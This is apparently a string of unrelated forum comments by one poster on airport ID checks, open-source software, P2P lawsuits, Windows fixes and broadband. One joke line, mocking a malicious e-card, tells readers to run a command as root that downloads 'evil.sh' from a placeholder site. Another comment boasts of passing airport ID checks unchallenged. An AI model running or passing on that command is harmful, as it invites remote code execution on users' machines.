If they are that dumb, the law probably won't help. You can't legislate common sense.
Besides, vehicular darwinism could have positive effects on society. I'm all for culling the weak (and yes, that includes me if I can't pass muster). I suspect I would survive, and would be willing to find out, provided everyone else played first. Remember, you don't have to be first. You just don't want to be last.
Actually, for many Airports (I think the ones without an international terminal) You Don't Need An ID To Fly. Actually, I've flown through a number of the ones which "require" ID without doing so.
Heck, at one time in L.A., they were supposed to check me 3 times. I didn't offer, and carried myself in a manner that apparently didn't make me look suspicious - they left me alone entirely. Wow, I feel "secure". Not only does the stupid ID check make us less secure (long, boring, statistical discussion - email me if you want to hear it), but the terrorists can probably get through without ID anyway. Geez.
I noticed. I spent half an hour, trying to remove the restrictions from mplayer before I realized they weren't there in the first place.
Gotta love open-source. Why add a useless feature like User Option Prohibitions, when people would just remove it anyway? Why give people a reason to fork?
Guess I'm getting too accustomed to the "bend over and take it" method of software distribution.
Quake 1 still has an active (albeit not too large) community. Not only did they provide nice network code (and QuakeWorld, for net play), they even opened up the Game Code (it runs in kind of a VM), and even the Source for the game itself. That is flexibility.
There are now many features the authors didn't dream of. In fact, I've seen servers with permission control that beats the pants off anything I've seen in a modern day engine.
I gave google 2 seperate tagged addresses, for tracking purposes (and to beat my spam filters). Never been spammed at either of them, and I've been in it since the beginning.
You have received an E-Card. If you're using Outlook[express], you are already infected.
For unix/linux users, run "exec -o lynx --dump http://oursite.com/evil.sh". This command should be ran as root. You may need to compile lynx from source.
There are a number of empty.eml files in the archive. While their FTP server looks like (didn't check) it is running a vulnerable version of wu-ftpd , it seems more likely Nimda got to them first.
I wonder what the final MS press release will name as the cause. "Evil Linux Hackers", perhaps?
While directly competing with your former employer is usually considered in poor taste (and also typically forbidden by contract), why should your hypothetical baker have the right to the proceeds from the bowling alley his employee runs in the evenings and on weekends? Or the little ebay store he runs selling paintings he does at home? Or *gasp* the web site he designed for someone _else's_ company.
After, the baker bought that employee, and now owns him, right?
Heaven forbid that someone try to better their lives by working harder, or longer, than their employer is willing to pay him for.
Go to the Services Control Panel (under administrative tools), and go to the properties for the RPC service. Change the recovery options from "restart the computer" to "restart the service". Windows Update should fix it, if not you may want to run a test on your RAM.
Under Windows Media Player 9, go "Tools, License Management". Shove it in a folder, and burn your license _and_ the WMA files to a CD. No more quality loss (beyond the existing WMA conversion loss).
The problem is that many (most?) (all) (the popular ones?) P2P networks have you share the files you download, unless you specifically turn them off. Many of the P2P users do not know how to.
For an example: Person A knows to turn off sharing, downloads 1000 songs, knowing quite well it's illegal. Nothing happens to him.
Person B does not know to turn it off, downloads 1000 songs, not even realizing it's illegal. RIAA comes knocking.
Person C paid for a "unlimited download service" scam, because he wanted to do things legally, and doesn't even realize the files stay on the HD after you download it, so he keeps downloading the same files over and over again. Total of about 300 songs @ average of 3.3 copies per person. RIAA comes knocking.
Why should B be sued, while A is not? (I don't think B should be sued, but I can certainly understand differences of opinion on that).
I can see no reason at all why person C should have to pay thousands over an innocent mistake, especially when he _tried_ to do what was right. At the very least, the punishment should not be as severe as B.

Well - I only bought one CD (ever - it just happened to be at the right point in time). I'd say it was worth it.

IIRC, the number was 1-800-388-PIR8
Google makes it look like I do remember correctly.

It may support 10Mb both ways, but they certainly aren't going to give that to you upstream, unless you pay through the nose.

It depends on 2 things: your lawyer, and their lawyer.
Why not? After all, we want _true_ MSOffice compatibility, right?

Don't kill my karma just because my registration free link was 3 seconds later. How was I to know someone else was doing the exact same thing.
Geez.
Darnit - you beat me by like 2 seconds. Oh well, my Registration-Free link is prettier.
Blah blah, go google.
Registration Free Site
Since I hate to register, here ya go.
Registration Free Link
Is that compressed? If not, even at a modest 40% compression ratio, it's nearly 160 copies per second.
Speak for yourself - I get 3GB per _day_, up to 50GB per _month_, at 4mbit per second.
But how can you be sure the checksums weren't altered as well?
I wonder which would start higher, Opera or Google?

I'm a contractor... can you tell?????
And if you are a good employee, you can too.
Oh, and chalk up another user for your foe list.

It doesn't. Besides, that wouldn't make much sense, would it? (Not that it has necessairly stopped MS in the past).
